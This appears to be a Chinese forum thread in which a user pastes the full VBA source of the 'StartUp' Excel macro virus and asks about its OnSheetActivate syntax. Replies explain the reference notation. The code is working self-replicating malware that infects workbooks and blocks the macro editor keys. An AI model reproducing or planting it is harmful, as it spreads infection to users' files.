读书人

从某宏病毒源码而引出的有关问题

发布时间: 2012-01-11 22:28:46 作者: rapoo

从某宏病毒源码而引出的问题
不小心中了宏病毒,开始得不到源码,杀了毒后又没源码了,后来又中上了(内网,还是有人不小心的)这回杀毒后能却能看到源码了,复制出来后有个问题来问下高手们

VB code
Sub auto_open()On Error Resume NextIf ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" ThenApplication.ScreenUpdating = FalseThisWorkbook.Sheets("StartUp").CopyActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")n$ = ActiveWorkbook.NameActiveWindow.Visible = FalseWorkbooks("StartUp.xls").SaveWorkbooks(n$).Close (False)End IfApplication.OnSheetActivate = "StartUp.xls!cop"Application.OnKey "%{F11}", "StartUp.xls!escape"Application.OnKey "%{F8}", "StartUp.xls!escape"End SubSub cop()On Error Resume NextIf ActiveWorkbook.Sheets(1).Name <> "StartUp" ThenApplication.ScreenUpdating = Falsen$ = ActiveSheet.NameWorkbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)Sheets(n$).SelectEnd IfEnd SubSub escape()On Error Resume NextApplication.OnSheetActivate = "StartUp.xls!back"Application.OnKey "%{F11}"Application.OnKey "%{F8}"Application.SendKeys "%{F11}"Application.SendKeys "%{F8}"For Each book In WorkbooksApplication.DisplayAlerts = FalseIf book <> "StartUp.xls" Then book.Sheets("StartUp").DeleteNextFor Each book In WorkbooksIf book.Name = "StartUp.xls" Thenbook.CloseEnd IfNextEnd SubSub back()On Error Resume NextApplication.OnKey "%{F8}", "StartUp.xls!escape"Application.OnKey "%{F11}", "StartUp.xls!escape"Application.OnSheetActivate = "StartUp.xls!cop"Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"Workbooks.Open Application.StartupPath & "\StartUp.xls"End Sub
Application.OnSheetActivate = "StartUp.xls!cop"这个cop怎么在引号里???

[解决办法]
怎么不在引号里???
[解决办法]
StartUp.xls!cop
cop属于xls集合的一个成员
[解决办法]
StartUp.xls!cop
表示StartUp.xls的cop宏命令成员,在vba中用!宏命令成员的关系引用符.
VB code
Application.OnSheetActivate = "StartUp.xls!cop"   'sheet激活的时候执行cop宏命令Application.OnKey "%{F11}", "StartUp.xls!escape"  '当按下F11的时候执行escape宏命令Application.OnKey "%{F8}", "StartUp.xls!escape"    ''当按下F8的时候执行escape宏命令
[解决办法]
StartUp宏病毒啊。很久的病毒了。

Application.OnSheetActivate 。application有SheetActive方法,没见过OnSheetActivate
[解决办法]
话说用WPS的我把宏病毒给淹死了

读书人网 >VB

热点推荐